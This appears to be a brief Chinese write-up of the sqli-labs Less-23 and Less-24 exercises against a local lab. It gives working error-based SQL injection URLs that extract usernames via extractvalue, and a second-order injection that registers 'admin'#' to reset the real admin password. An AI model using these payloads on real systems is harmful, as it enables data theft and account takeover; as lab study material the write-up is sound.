Less-23
Get型单引号报错注入
输入过滤了-- # 并替代成空,故采用单引号闭合
http://127.0.0.1/sql/Less-23/?id=1' and 1='1
直接搜索已知的数据,成功
http://127.0.0.1/sql/Less-23/?id=1' and extractvalue(1,concat(0x7e,(select username from users limit 0,1),0x7e)) and 1='1
Less-24
二次注入,查看源码
可以看到登录页对用户输入内容进行了严格的限制,而注册页没有,通过构造用户名admin’#可以将内容写到数据库内,再直接修改密码操作时,’#生效,实际修改用户名为admin,这样就达成了修改admin密码的效果,可以使用我们新修改的密码进行登录。
注册admin’#账号
登录admin’#账号
修改admin账号密码
使用admin账号进行登录操作